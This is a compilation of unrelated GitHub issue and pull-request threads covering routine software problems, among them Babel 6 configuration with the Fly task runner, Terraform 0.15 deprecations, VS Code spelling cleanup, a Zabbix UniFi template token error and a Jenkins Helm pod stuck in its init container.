[ ] Convert external rest api into graphql using apollo data source

Notes from GraphQL Experiment
Why?
We want to have a single source of truth for all of the local and remote data in our application.
Analysis
How do we use demo.ckan.org API with Apollo?

It's easy to adopt Apollo incrementally, meaning you can set it up alongside an existing solution (such as a REST API) and migrate functionality at your convenience.

Apollo provides a DataSource class that we can extend to handle interaction logic for a particular type of data source that we can use to create a new data source for GraphQL API which we can then consume on the client-side.

connect a Rest API (demo.ckan.org) with apollo-datasource-rest-> Consume on the frontend

Closing this as FIXED. See #29 and #32  for how we have implemented this.


Review: Copula distribution usage and examples

Your package offers support for simulating vine copulas. However, I don't see examples demonstrating how to simulate data from a vine copula given desired conditional dependency requirements.
Is this possible with the current API? If not, how would I use the vine copula generator to achieve this?
Otherwise, can examples show the difference between simulating Gaussian and vine copulas? I only see examples for the Gaussian copula.

Hey @mnarayan: I think having an example with vines in the docs is a good idea.
I'm not entirely sure what you mean exactly by "conditional dependency requirements". Most likely it's not possible in this library, because it's mainly intended as an off-the-shelf solution and intentionally automates away some of the nitty-gritty. If you need more fine grained control, consider using pyvinecopulib directly (and don't hesitate to contact me or @tvatter if you need help).

I see, yeah an example for vines would be great.
One important application for multivariate simulations that comes to mind is vine copula graphical models. I was thinking this could be used analogous to the Gaussian case where one can easily simulate multivariate data by enforcing a desired sparsity/non-zero pattern in the inverse covariance or its Cholesky decomposition. But if I understand you correctly, this would only be possible with the pyvinecopulib not this function?
Is this toolbox then primarily designed to simulate data that mimics distribution of an actual dataset provided? As opposed to being a toolbox for simulating multivariate copula distributions. If so, I think this could perhaps be made clearer in the statement of use.

@mnarayan I have update the examples and move the multivariate copula example to a different section (please see https://dmey.github.io/synthia/examples/multivariate-vine.html). Does this make thinks clearer? This is a very simple example but I would be interested in adding more examples in the near future. Would you have an open dataset in mind that you were looking to explore with copulas? It'd be good to showcase different examples from different fields...
With regard to your other question, yes the sole purpose of Synthia is to generate data that mimics the distribution of the observations. I have update the paper but please let me know if you still find this confusing in the paper or the repo and will fix it.

Thanks the vine example looks good. I don't have an open dataset off the top of my head but feel free to reach out to me separately at<EMAIL_ADDRESS>if that is this something you would like to explore in the fuure.

yes the sole purpose of Synthia is to generate data that mimics the distribution of the observations.

I couldn't glean this from the first paragraph of the JOSS paper.  https://github.com/openjournals/joss-papers/blob/joss.02863/joss.02863/10.21105.joss.02863.pdf
In the fields I have worked in "synthetic" data is often synonymous with simulations/artificial data of any kind. Not one that specifically mimics distributional properties of a given dataset. So even if it feels super obvious/redundant to you, that is worth spelling out. Say copula distributions can mimic both first order and complex second order + higher order dependencies between variables. and is thus very useful for preserving/mimicing properties of a real dataset. It will be useful for any field where the actual continuous dataset cannot be made available or where one wants to conduct a realistic but hypothetical power analysis and so forth.

Thanks and I see. I have rephrased the fist sentence and defined what we mean by synthetic data to avoid confusion (please see https://github.com/openjournals/joss-papers/blob/joss.02863/joss.02863/10.21105.joss.02863.pdf). Would that work with you? Also, are you happy to close #23?


ci(changelog): add changelog generation

Codecov Report

Merging #23 (4b2a689) into main (6c9e5d6) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main      #23   +/-   ##
=======================================
  Coverage   54.16%   54.16%
=======================================
  Files           4        4
  Lines         120      120
  Branches       11       11
=======================================
  Hits           65       65
  Misses         53       53
  Partials        2        2

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 6c9e5d6...4b2a689. Read the comment docs.


Make open source!

Open source the cosmos-operator.
Disclaimers:

GKE only, others YMMV
Only heighliner images
Hosted snapshot MVP and probably only works with GKE
k8s 1.23+

And here's the first draft of a blog post: https://www.notion.so/strangeloveventures/Strangelove-Blog-7d99f8d3d1da4069848ecdefe272f866?p=28ac79e13cfa46b0b35db70df5b3d5ab&pm=s


Babel 6 + .babelrc -> TypeError: Cannot read property 'error' of undefined

After update to babel@6 I faced following issue: when I place .babelrc file in the root — build fails. When I remove it — fly runs fine.
Repo to reproduce: https://github.com/alexfedoseev/fly-babel-6-issue
/* .babelrc */

{
  "presets": ["es2015", "stage-3"]
}

/* flyfile.js */

export default async function() {
  console.log('!');
}

Screen:

Stack:
$(npm bin)/fly
stack:
  - TypeError: Cannot read property 'error' of undefined
  -     at OptionManager.mergeOptions (~/Dev/Sandboxes/tmp/fly-babel-6-issue/node_modules/fly-util/node_modules/babel-core/lib/transformation/file/options/option-manager.js 126:28)
  -     at OptionManager.addConfig (~/Dev/Sandboxes/tmp/fly-babel-6-issue/node_modules/fly-util/node_modules/babel-core/lib/transformation/file/options/option-manager.js 107:10)
  -     at OptionManager.findConfigs (~/Dev/Sandboxes/tmp/fly-babel-6-issue/node_modules/fly-util/node_modules/babel-core/lib/transformation/file/options/option-manager.js 168:35)
  -     at OptionManager.init (~/Dev/Sandboxes/tmp/fly-babel-6-issue/node_modules/fly-util/node_modules/babel-core/lib/transformation/file/options/option-manager.js 229:12)
  -     at compile (~/Dev/Sandboxes/tmp/fly-babel-6-issue/node_modules/fly-util/node_modules/babel-core/lib/api/register/node.js 117:22)
  -     at normalLoader (~/Dev/Sandboxes/tmp/fly-babel-6-issue/node_modules/fly-util/node_modules/babel-core/lib/api/register/node.js 199:14)
  -     at Object.require.extensions.(anonymous function) [as .js] (~/Dev/Sandboxes/tmp/fly-babel-6-issue/node_modules/fly-util/node_modules/babel-core/lib/api/register/node.js 216:7)
  -     at Module.load (module.js 356:32)
  -     at Function.Module._load (module.js 313:12)
  -     at Module.require (module.js 366:17)
  -     at require (module.js 385:17)
  -     at Object.spawn$ (~/Dev/Sandboxes/tmp/fly-babel-6-issue/node_modules/fly/dist/cli/spawn.js 39:29)
  -     at tryCatch (~/Dev/Sandboxes/tmp/fly-babel-6-issue/node_modules/babel-runtime/regenerator/runtime.js 72:40)
  -     at GeneratorFunctionPrototype.invoke [as _invoke] (~/Dev/Sandboxes/tmp/fly-babel-6-issue/node_modules/babel-runtime/regenerator/runtime.js 334:22)
  -     at GeneratorFunctionPrototype.prototype.(anonymous function) [as next] (~/Dev/Sandboxes/tmp/fly-babel-6-issue/node_modules/babel-runtime/regenerator/runtime.js 105:21)
  -     at onFulfilled (~/Dev/Sandboxes/tmp/fly-babel-6-issue/node_modules/co/index.js 65:19)
message: Cannot read property 'error' of undefined

Removing the .babelrc file yields this error:
[00:16:39] build failed due to ReferenceError: [BABEL] main.js: Unknown option: direct.presets

Fresh repo, flyfile copied from examples/babel, package deps:
"dependencies": {
    "fly": "^0.8.4",
    "fly-babel": "*",
    "babel-preset-es2015": "^6.1.18"
  }

@bucaran Just looks like fly-babel plugin hasn't been fixed/touched since babel bumped to 6.0. There was no presets option in v5 as it compiled es2015 by default

@lukeed Yes, indeed.
  "dependencies": {
    "object-assign": "^3.0.0",
    "babel-core": "*",
    "source-map": "^0.4.4"
  },

So, we want to upgrade fly-babel first.

@bucaran solved.
If additional presets & plugins (eg, stage3) are desired, they'd have to be pulled in separately. But passing anything through fly-babel's options works as expected, including sourcemaps :raised_hands:
// ...
.babel({
  presets: ['es2015'],
  sourceMaps: true,
  ignore: [
    "foo.js",
    "bar/**/*.js"
  ]
})
// ...

:smile: Yay!

Hi guys, any update on this?

@alexfedoseev update to the latest fly-babel changes :ok_hand:

I'm not sure I follow. I don't use fly-babel to transform the code, I use fly only as task runner, which runs my node servers, shell scripts and webpack builds. So I don't even have fly-babel in my package.json. (fly-babel is a plugin to transform esnext js code to es5, it's not something I must have to run fly tasks, right?)
Here is example of my setup: flyfile + helpers
But actually it's not the point. After update to babel 6 I can't even run this thing when I place .babelrc in the root folder of the project.

You're kind of doing things the complicated way.
You're using the core Fly package to run a bunch of external shell scripts & webpack commands. IMO, if you want to use webpack, use webpack. If you truly wanted to use Fly, you'd find the appropriate fly plugins to run the same tasks.
As for the actual issue: it's Babel related... nothing to do with Fly.
Option 1
Personally, I never found .babelrc to be reliable, especially when slicing up all my dev tasks into different directories. I believe that Babel/Webpack loses track of root directory configuration files, because the same has happened with files like .bowerrc, etc.
If I were you, I'd ditch the rc file and add additional configuration to your webpack build configs so that the es2015 and/or stage0 presets are loaded correctly.
Option 2
Perhaps your webpack config needs to change its loader. Babel6 reworked a lot of its pieces (documentation on upgrading from 5.x to 6.x is really poor, imo), and babel-loader is one of them. Using loader : 'babel' won't work anymore, at least in my experience.
So you'd need to change this out for the babel-loader package.
For either case (I would do both), here is a working Babel6 + webpack setup that experienced similar issues at one point. (webpack config and package.json)
Again, this issue has nothing to do with Fly.

IMO, if you want to use webpack, use webpack. If you truly wanted to use Fly, you'd find the appropriate fly plugins to run the same tasks.

These are different tools. Webpack is bundler, Fly is task runner. I can't run express server with webpack + handle order of building stages of isomorphic application with shell scripts, the same as I can't create bundles for isomorphic application (for example server build working with CSS Modules) with just Fly plugins.
Anyway, provided setup was working fine until babel 6 update and the issue is not with my webpack configs b/c of: https://github.com/alexfedoseev/fly-babel-6-issue — if you'll try to run this one (there is no webpack there, just pure fly) — you'll get an error. If you'll remove .babelrc file from root — it runs fine (see screenshot above).

Presets from .babelrc are shared among all tools and build configs: it's used by webpack, babel-eslint & mocha. .babelrc is the only way to keep things DRY, at least I don't know how to share array of presets without duplication. More over it's not possible to pass presets to babel-eslint without .babelrc (link). So "don't use .babelrc" is not an answer.

Thanks for the simplified repo.
The answer is still 'dont use babelrc'... for now. Fly uses babel-runtime at its core, so your babelrc file is overwriting/meddling with Fly's internal instance.
I'm not a contributor/maintainer, just my two cents, especially since it's so easy to add the desired settings to your webpack configs.

The answer is still 'dont use babelrc'... for now. Fly uses babel-runtime at its core, so your babelrc file is overwriting/meddling with Fly's internal instance.

is pretty sad. @bucaran can you help?

TBH I would like to revert to my original Fly design when I first released this. At the time, while the source code was written in ES6, Flyfiles in JS variants were not supported, at least not out of the box.
Before Fly 1.0 happens, I hope to post a draft of what I would like to change and if I can get enough positive replies I will work on something.

@bucaran I updated everything to the latest versions, but issue is still there: https://github.com/alexfedoseev/fly-babel-6-issue

@alexfedoseev Couple points:

You never have to install babel, babel-cli, AND babel in the same project.

You don't have to install any of them in order for fly-esnext to work. It's done for you automatically.

The fly-esnext installs Babel v5.8, so your babelrc file is sending options (preset) that don't exist for Babel v5.x. This is where the error is coming from.

I've branched your repo with appropriate changes.
In this repo, you don't need to setup/configure a .babelrc at all, but I've included it since you want to use it.
Also, here's a list of valid Babel v5.x options that you can use in your babelrc file

Basically it means that fly-esnext and babel@6 is not compatible, right?

You can have them both installed, but there's no point. Fly will use Babel@5 (for now) for parsing its plugins and flyfiles. That's it.
If you install Babel6 (for example, as part of fly-babel), then there will be no overlap.
Keep in mind, there is NO LOSS in features when using babel@5 vs<EMAIL_ADDRESS>5 just allows us to require it externally for all Node versions. We will "upgrade"  to babel@6 as soon as we find a way to do the same with 6 and all it's sub-modules.

You can have them both installed, but there's no point.

@lukeed I feel like I'm missing something. If I can use babel@6 for my stuff, why linked repo is broken and it works only after babel@6 removal?

Because babel@5 is picking up your babelrc file and because your wrote it with babel@6 options, it's invalid.
The repo only worked because I removed the preset option in your babelrc, which is an invalid babel@5 option.
What you should do is not use a babelrc since fly-esnext doesn't need it, as it will work out of the box.
Then, for your babel@6 usage, pass options directly into fly-babel:
npm install -D fly-babel

exports.scripts = function * () {
  yield this.source('src/scripts/**/.js')
    .babel({
      presets: ['es2015'],
      plugins: [], // etc
    })
    .target('dist/js')
}

All of those I could do w/o fly-esnext. The point is to have .babelrc, b/c it's used by test runner, linter etc. There is no other way to pass params to babel-eslint. See my previous comment.


TabControl is always the last one to receive focus when using Tab key navigation

Describe the bug
TabControl is always the last one to receive Tab focus, no matter where it was placed in the XAML file, and no matter which value its TabIndex was set.
To Reproduce
Steps to reproduce the behavior:

XAML file snippet:

<StackPanel>
    <StackPanel>
        <Button Content="Button A"/>
        <TabControl>
            <TabItem Header="Tab">
                <Button Content="Button B"/>
            </TabItem>
        </TabControl>
    </StackPanel>
    <Button Content="Button C"/>
</StackPanel>

Navigate using Tab key, you will find out the actual Tab order is
"Button A" -> "Button C" -> "Button B".

Expected behavior
The Tab order should be "Button A" -> "Button B" -> "Button C".
Without using MahApps.Metro, it will work as expected.
Screenshots
(None)
Environment

MahApps.Metro: v1.6.5
OS: Win10 1909
Visual Studio: 2019 16.5.0
.NET Framework: 4.8

Repo
(None)
Additional context
(None)

@shinywong I can't reproduce this with the current source. So I'll close this for now. But feel free to re-open this, if you are still get this issue with the latest version.


Add ability to access SPAs by multiple domains and limit access by domain

Closed by https://github.com/blackbaud/sky-pages-host/pull/4


Errors using terraform v0.15.0 (deprecation removals)

Using terraform version 0.15.0 is causing several errors
│ Error: Error in function call
│
│   on .terraform/modules/tf_next.proxy.edge_proxy/iam.tf line 25, in data "aws_iam_policy_document" "assume_role":
│   25:       identifiers = distinct(concat(slice(list("lambda.amazonaws.com", "edgelambda.amazonaws.com"), 0, var.lambda_at_edge ? 2 : 1), var.trusted_entities))
│
│ Call to function "list" failed: the "list" function was deprecated in Terraform v0.12 and is no longer available; use tolist([ ... ]) syntax to write a literal list.

│ Error: Error in function call
│
│   on .terraform/modules/tf_next.proxy.edge_proxy/outputs.tf line 98, in output "s3_object":
│   98:   value       = map("bucket", local.s3_bucket, "key", local.s3_key, "version_id", local.s3_object_version)
│     ├────────────────
│     │ local.s3_bucket is a string, known only after apply
│     │ local.s3_key will be known only after apply
│     │ local.s3_object_version will be known only after apply
│
│ Call to function "map" failed: the "map" function was deprecated in Terraform v0.12 and is no longer available; use tomap({ ... }) syntax to write a literal map.

Ah, haven't switched to 0.15 yet, will push out a fix for this later today.
Thanks for reporting 👍

This took a day longer because we also had to release a new version of the the image optimizer module.
Compatibility issues with Terraform 0.15 are now fixed with the v0.8.1 release.


perlPackages: CGI: 4.35 -> 4.36

Motivation for this change
Update.
Things done

[X] Tested using sandboxing
(nix.useSandbox on NixOS,
or option build-use-sandbox in nix.conf
on non-NixOS)
Built on platform(s)

[X] NixOS
[ ] macOS
[ ] Linux

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[X] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[X] Tested execution of all binary files (usually in ./result/bin/)
[X] Fits CONTRIBUTING.md.

Rebased into master in fc5e6ce9ce796300f9657abeae97637fc70d1574. Many thanks for the updates! Note, I changed the commit messages slighly.


Is there any method( ) to get epub book cover page in Android SDK?

Is there any class or method to get book cover page. Thank you

Please try:
https://github.com/readium/SDKLauncher-iOS/issues/96#issuecomment-333284940


google's translate of pdf

Link to PDF file (or attach file here):
Configuration:

Web browser and its version:
Operating system and its version:
PDF.js version: 1.7.225
Is an extension:

Steps to reproduce the problem:

I hope use to google's translator to translate the pdf.
I can't translated contents but i can watched it through the development tool in browser.
Contents and source code are different.
I want to loading the page after translate.
Is it possible?

What is the expected behavior? (add screenshot)

What went wrong? (add screenshot)
Link to a viewer (if hosted on a site other than mozilla.github.io/pdf.js or as Firefox/Chrome extension):

The PDF format does not allow to apply google translate as is, e.g. it is near to impossible to layout translated text using the same fonts. Closing as won't fix.


Mark non-English resources as so

As the majority of the resources are in English, it would make sense to have the ones not so marked clearly.
I spent 5 minutes trying to swap the language in the resource only to find that there wasn't an English version available. If this was marked it could clear up some confusion.

Man imagine if that mf david messiah dude found out!


Current tenant in Controller

Hi,
how I can get the current tenantId in Controller.

Hi Alexander,
This question closely relates to your previous one, #446. Was that one not helpful?
Please join discord if you have high speed questions like these. Also please stick to one issue for related questions. Thanks!


Code Spelling: ~100 instances of "focussed" in code base

While working on the simple find widget I came across many instances of the misspelling. "focussed"
Most are in context key object names, however, there is one public facing instance, a context key
value that would appear in when clauses for key bindings.
I'm sure you do not want a PR for one hundred files ;-)
From: findController.ts
export const CONTEXT_FIND_WIDGET_VISIBLE = new RawContextKey('findWidgetVisible', false);
export const CONTEXT_FIND_WIDGET_NOT_VISIBLE: ContextKeyExpr = CONTEXT_FIND_WIDGET_VISIBLE.toNegated();
export const CONTEXT_FIND_INPUT_FOCUSSED = new RawContextKey('findInputFocussed', false);

IMHO both focussed and focused are okay but I'm pretty sure @roblourens @Tyriar etc know English better than me.

I had to look it up, but apparently focussed is the british spelling. I wouldn't want to change the name of a context key, so we might as well leave it.

Just not crazy that it's a singular exception to all the other when clauses, but I understand the reluctance to change it.

I came across that and thought it was a mistake. It's certainly not used in Australia, based on this graph we should change it imo:
https://books.google.com/ngrams/graph?content=focused%2C+focussed&year_start=1800&year_end=2000&corpus=15&smoothing=3&share=&direct_url=t1%3B%2Cfocused%3B%2Cc0%3B.t1%3B%2Cfocussed%3B%2Cc0

We can't change the context key findInputFocussed unless we add a new one, deprecate the old one, get rid of it later... doesn't seem worth it. Might as well change everything else though?

:+1:
Let's leave findInputFocussed as it is (since it is "API").
I've renamed focussed -> focused in the find widget and the editor.
Most of the remaining usages belong I believe to @bpasero and @isidorn . They should decide what they want to do :)

@bpasero
There are still quite a few code instances left.  I will do a PR for these, but it will touch about twenty five files.
I will leave the context key alone as discussed above.

Addressed with PR #32904


[Feature Request] Gist integration for Snippets

It would be soooo helpful to be able to have a gist integration, so you could add a gist repo as a snippet folder
It would bring the following features:

backup
add / share / contribute to libraries of snippets

It sure would be awesome... but.... https://github.com/Clipy/Clipy/issues/221

Oh that's too bad... Thanks for replying.


Fetch open PRs on startup

Hoff should fetch open PRs on startup.
In https://github.com/channable/hoff/pull/8, we have closed and re-opened PRs in a loop to deliver new webhook events to Hoff. Hoff should be able to deal with those events gracefully.
Otherwise, Hoff will not know about PRs and will ignore LGTM comments on them. This is problematic because:

It means that we cannot easily restart hoff/have downtime.
Adopting Hoff on a repo that already had PRs open means opening/closing all of them.

We have had one pull request in the "recently integrated" state for about a week now. I think we may have missed the webhook delivery of the close notification. This is not easy to fix, because we can’t re-open and close the pull request on Github. It is not that big of a deal, but it is causing an off-by-one in the queue status notification. One workaround would be to perform some manual surgery on the state file, but let's not do that, and just implement the proper fix. Then a restart of Hoff would make the outdated statuses go away.
I think what we can do is:

Traverse all pull requests that exist in the state, and retrieve their status from GitHub. If they are closed, generate a PullRequestClosed event.
Retrieve all open pull requests from GitHub. For those that are not present in the state, generate a PullRequestOpened event. For those that are present, generate a PullRequestCommitChanged event.

This should bring the status in sync again, without destroying existing approval status. I wouldn’t scan comments for now, if we missed an approval comment, it is easy enough to leave a new comment, and you can check the status in the webinterface.


(PUP-4039) - Improve yum provider handling of new package names

The yum provider will fail to find new package names due to yum list not refreshing metadata. #2654 caused this regression, but also implemented a much needed fix.
This change keeps the fix provided by #2654 and fixes new package name issue without extra manifest code. It also only causes extra steps to be taken when the initial yum list fails. Performance should not be impacted unless the package would otherwise fail.
Details available in PUP-4039.

Waiting for CLA signature by @werekraken
@werekraken - We require a Contributor License Agreement (CLA) for people who contribute to Puppet, but we have an easy click-through license with instructions, which is available at https://cla.puppet.com/
Note: if your contribution is trivial and you think it may be exempt from the CLA, please post a short reply to this comment with details. http://docs.puppet.com/community/trivial_patch_exemption.html

CLA signed by all contributors.

@werekraken how familiar are you with writing unit test, and RSpec tests in specific? We like to have tests for new features so that we don't accidentally regress on them.

@adrienthebo tests added. Sorry for not including them upfront. I had looked at yum_spec.rb, but had missed all the meat in shared_examples/rhel_package_provider.rb.

@werekraken Hey! This has been open for quite a while with no update from you. We do value your contribution, but we're trying to keep out backlog of pull requests a bit cleaner. If we don't hear back within two weeks, we will close this pull request. At that point, if you do get back to working on this, you can always reopen this PR or create a new one!

Can one of the admins verify this patch?

Hey @werekraken. It's been a while since we've heard from you. I'm going to go ahead and close this pull request. If you do get the opportunity to circle back to this work, always feel free to either re-open this PR or create a new one. Thank you for taking the time to contribute to Puppet!


[e2e]: nodejs push branch1 default slsa3

Repo: https://github.com/slsa-framework/example-package/tree/branch1
Run: https://github.com/slsa-framework/example-package/actions/runs/12229971686
Workflow file: https://github.com/slsa-framework/example-package/tree/main/.github/workflows/e2e.nodejs.push.branch1.default.slsa3.yml
Workflow runs: https://github.com/slsa-framework/example-package/actions/workflows/e2e.nodejs.push.branch1.default.slsa3.yml
Trigger: push
Branch: branch1
Date: Mon Dec  9 06:12:42 UTC 2024

Repo: https://github.com/slsa-framework/example-package/tree/branch1
Run: https://github.com/slsa-framework/example-package/actions/runs/12250438697
Workflow file: https://github.com/slsa-framework/example-package/tree/main/.github/workflows/e2e.nodejs.push.branch1.default.slsa3.yml
Workflow runs: https://github.com/slsa-framework/example-package/actions/workflows/e2e.nodejs.push.branch1.default.slsa3.yml
Trigger: push
Branch: branch1
Date: Tue Dec 10 06:14:21 UTC 2024
Tests are passing now. Closing this issue.


Can I use ZED-sdk to obtain video frame and sensor data on Raspberry-Pi ?

Preliminary Checks

[X] This issue is not a duplicate. Before opening a new issue, please search existing issues.
[X] This issue is not a question, bug report, or anything other than a feature request directly related to this project.

Proposal
only use ZED-sdk to get video frame and sensor data (imu data and magnetometer data) , not required depth sensing or other high computational consumption method
Use-Case
No response
Anything else?
No response

Hi @yyjFish
the ZED SDK requires CUDA. You can use the zed-open-capture driver.
IT does not provide all the features of the ZED SDK, but it allows you to get image frames and sensors data


Create new public release

@heaths,
Thanks for your contribution as a Microsoft full-time employee or intern. You do not need to sign a CLA.
Thanks,
Microsoft Pull Request Bot

:white_check_mark: Build vswhere 1.0.32-beta+g89359c26c1 completed (commit https://github.com/Microsoft/vswhere/commit/89359c26c1 by @heaths)


[BUG] Title

Checklist

[X] I'm using the latest Zabbix Server Release.
[X] I'm using a local UniFi Account with at least RO permission on Zabbix.
[X] I have configured the template following README.md instruction.

Describe the Bug
Getting the following error:
`
Preprocessing failed for: {"header":{"HTTP/2 200":"","server":"nginx","date":"Fri, 01 Nov 2024 05:32:34 GMT","content-type"...

Failed: cannot perform regular expression "$TOKENISHERE=([^;]+);" match for value of type "none": pattern does not match
`

I used curl -k -X POST --data '{"username": "root", "password": "$password"}' --header 'Content-Type: application/json' -c cookie.txt https://<IP_ADDRESS>:443/api/auth/login to get the Token. Is there a better method?
MACROS

Context

Zabbix Template Release: main
Zabbix Server Release: 7.0.5
UniFi Network Release: 8.5.6 or UniFi OS 4.0.21
UniFi Network Type: Dream Machine SE

From documentation.

{$UNIFI.API.AUTH.TOKEN}: change to unifises if using unifi controller vm

That explicitly says "unifi controller vm", I am not using a VM, I am using a UDM SE.


Sync push image workflow

Merge After

https://github.com/paketo-buildpacks/github-config/pull/950

Summary

This PR:

adds a file called registries.json which specifies on which registries the stack images should be pushed.
Syncs the push-image workflow

Use Cases

Checklist

[x] I have viewed, signed, and submitted the Contributor License Agreement.
[ ] I have linked issue(s) that this PR should close using keywords or the Github UI (See docs)
[x] I have added an integration test, if necessary.
[x] I have reviewed the styleguide for guidance on my code quality.
[x] I'm happy with the commit history on this PR (I have rebased/squashed as needed).

@mhdawson can you merge this one?


Implement series instruments

Store the series with the content as any array of instruments. The instrument content should refer to other instruments. Then, just store the records as normal, with a special API call.
Check the type of instrument

resume only thing left


antsJointLabelFusion.sh SLURM bug with fix

Just wanted to give you a heads up that while running antsJointLabelFusion.sh using SLURM, I ran into a strange error. The final antsJLF.sh script kept quitting without any specific errors. Eventually, I changed line 1078 to allocate more memory to the job and that fixed the issue. I think this change should be sufficient for most jobs, but I will let you make that call.
"--mem=8192M" --> "--mem=16384M".

Same here!! I just changed the code throughout the antsJointLabelFusion.sh script and it's running now. Keep your fingers crossed.

Yeah, I've been meaning to add a couple options (similar to what I did here).  I'll try to get to that soonish.

https://github.com/stnava/ANTs/commit/639e6f995e5aa59a14561312c100747df4f49bf2

Additional mods:  https://github.com/stnava/ANTs/commit/f84fdb8b1cfd30b32cefd64a16ce78506071ba14

I think line 1116 needs to be  "$maskCall" >> $qscript2. Until I made this change I couldn't get the joinFusion part to run.

https://github.com/stnava/ANTs/commit/427a2352387bb4640960c652ee065ab1aeb6cf95


Azure.Messaging.ServiceBus : ServiceBusMessage - support more body types

Library or service name.
Azure.Messaging.ServiceBus
Is your feature request related to a problem? Please describe.
Currently, the ServiceBusMessage class only supports Data as a body type when performing a clone - it will throw a NotSupportException on an AMQP 'Value' body type.
Support the different body type options in the ServiceBusMessage constructor that takes a ServiceBusReceivedMessage parameter. This will allow 'clone and replay' scenarios when working with various messaging technology - particularly, would allow some interop between Mulesoft using ASB as transport and .net tooling.
Example implementation in the java sdk, https://github.com/Azure/azure-sdk-for-java/blob/78967588a11508d0851646f686a394280697ce67/sdk/servicebus/azure-messaging-servicebus/src/main/java/com/azure/messaging/servicebus/ServiceBusMessage.java#L127
Any reason not to use the AmqpMessageBody.FromValue /  AmqpMessageBody.FromSequence options available for this? I can see there's some memory optimisation around MessageBody.FromReadOnlyMemorySegments for the 'Data' option - would this need to be considered for the additional types?

Thank you for your feedback.  Tagging and routing to the team member best able to assist.

Hi @dylanmorley,
This was an oversight - it should be possible to construct a ServiceBusMessage from a ServiceBusReceivedMessage that uses a Value or Sequence body type, in addition to the already supported Data body type. We will get this fixed.

Amazing, thanks for the speedy turnaround @JoshLove-msft


Jenkins Helm chart - using existing PVC (Persistent Disk of Google cloud), Jenkins Pod is restarting for 20 mins - showing in state Init:0/1

Hi All,
We created new PV and bound PV to PVC in GKE cluster. PV is Persistent disk of Google cloud.
When running Helm Jenkins chart, we are setting the new PVC name as values.
--set persistence.existingClaim=PVC_NAME
Error:
Jenkins POD is not starting after running helm command.
It is showing in state Init:0/1 and deployment is also coming unavailable. error message: Back-off restarting failed container.
We have waited for 30 mins, but the container is restarting again and again
Can you please help, thanks

Can you run describe on the pod?

Hello,
Our container is getting restarted various times.

We need urgent help on this ? Thanks

From the screenshots I can't see any error. Would be great if you could share more details of the error.
e.g. kubectl describe deployment ...
kubectl logs <jebkins_pod>
Especially the logs from the init container in case that's not starting.
BTW: it makes it easier if you share a  text copy of output instead of screenshots.

Thanks we will reply

Name:               jenkinsv2-8699b759dd-bj6kq
Namespace:          jenkins
Priority:           0
PriorityClassName:
Node:               gke-beta-jf-sf-clust-default-capacity-30324954-ktzf/<IP_ADDRESS>
Start Time:         Mon, 20 May 2019 08:45:29 +0000
Labels:             app.kubernetes.io/component=jenkins-master
app.kubernetes.io/instance=jenkinsv2
app.kubernetes.io/managed-by=Tiller
app.kubernetes.io/name=jenkins
helm.sh/chart=jenkins-1.1.16
pod-template-hash=8699b759dd
Annotations:        checksum/config: 7394d5224e7ac65de6f4a7b0df225c264b077d22482df684c5b9cfc5fe85ce5d
Status:             Pending
IP:                 <IP_ADDRESS>
Controlled By:      ReplicaSet/jenkinsv2-8699b759dd
Init Containers:
copy-default-config:
Container ID:  docker://c8ac038d3ebd4c719b319bfd9d41ac42da43d55fbf0abb207fe41057d614c02a
Image:         jenkins/jenkins:lts
Image ID:      docker-pullable://jenkins/jenkins@sha256:08bdd27b066e4ec6bfa1228876551e939df1aeaa9d878e6ddb2b183cd208dc2b
Port:
Host Port:
Command:
sh
/var/jenkins_config/apply_config.sh
State:          Running
Started:      Mon, 20 May 2019 08:54:22 +0000
Last State:     Terminated
Reason:       Error
Exit Code:    1
Started:      Mon, 20 May 2019 08:45:48 +0000
Finished:     Mon, 20 May 2019 08:54:21 +0000
Ready:          False
Restart Count:  1
Limits:
cpu:     2
memory:  4Gi
Requests:
cpu:     50m
memory:  256Mi
Environment:
ADMIN_PASSWORD:  <set to the key 'jenkins-admin-password' in secret 'jenkinsv2'>  Optional: false
ADMIN_USER:      <set to the key 'jenkins-admin-user' in secret 'jenkinsv2'>      Optional: false
Mounts:
/tmp from tmp (rw)
/usr/share/jenkins/ref/plugins from plugins (rw)
/usr/share/jenkins/ref/secrets/ from secrets-dir (rw)
/var/jenkins_config from jenkins-config (rw)
/var/jenkins_home from jenkins-home (rw)
/var/jenkins_plugins from plugin-dir (rw)
/var/run/secrets/kubernetes.io/serviceaccount from jenkinsv2-token-jt6lc (ro)
Containers:
jenkinsv2:
Container ID:
Image:         jenkins/jenkins:lts
Image ID:
Ports:         8080/TCP, 50000/TCP
Host Ports:    0/TCP, 0/TCP
Args:
--argumentsRealm.passwd.$(ADMIN_USER)=$(ADMIN_PASSWORD)
--argumentsRealm.roles.$(ADMIN_USER)=admin
State:          Waiting
Reason:       PodInitializing
Ready:          False
Restart Count:  0
Limits:
cpu:     2
memory:  4Gi
Requests:
cpu:      50m
memory:   256Mi
Liveness:   http-get http://:http/login delay=90s timeout=5s period=10s #success=1 #failure=12
Readiness:  http-get http://:http/login delay=60s timeout=1s period=10s #success=1 #failure=3
Environment:
JAVA_OPTS:
JENKINS_OPTS:
JENKINS_SLAVE_AGENT_PORT:  50000
ADMIN_PASSWORD:            <set to the key 'jenkins-admin-password' in secret 'jenkinsv2'>  Optional: false
ADMIN_USER:                <set to the key 'jenkins-admin-user' in secret 'jenkinsv2'>      Optional: false
Mounts:
/tmp from tmp (rw)
/usr/share/jenkins/ref/plugins/ from plugin-dir (rw)
/usr/share/jenkins/ref/secrets/ from secrets-dir (rw)
/var/jenkins_config from jenkins-config (ro)
/var/jenkins_home from jenkins-home (rw)
/var/run/secrets/kubernetes.io/serviceaccount from jenkinsv2-token-jt6lc (ro)
Conditions:
Type              Status
Initialized       False
Ready             False
ContainersReady   False
PodScheduled      True
Volumes:
plugins:
Type:       EmptyDir (a temporary directory that shares a pod's lifetime)
Medium:
SizeLimit:
tmp:
Type:       EmptyDir (a temporary directory that shares a pod's lifetime)
Medium:
SizeLimit:
jenkins-config:
Type:      ConfigMap (a volume populated by a ConfigMap)
Name:      jenkinsv2
Optional:  false
plugin-dir:
Type:       EmptyDir (a temporary directory that shares a pod's lifetime)
Medium:
SizeLimit:
secrets-dir:
Type:       EmptyDir (a temporary directory that shares a pod's lifetime)
Medium:
SizeLimit:
jenkins-home:
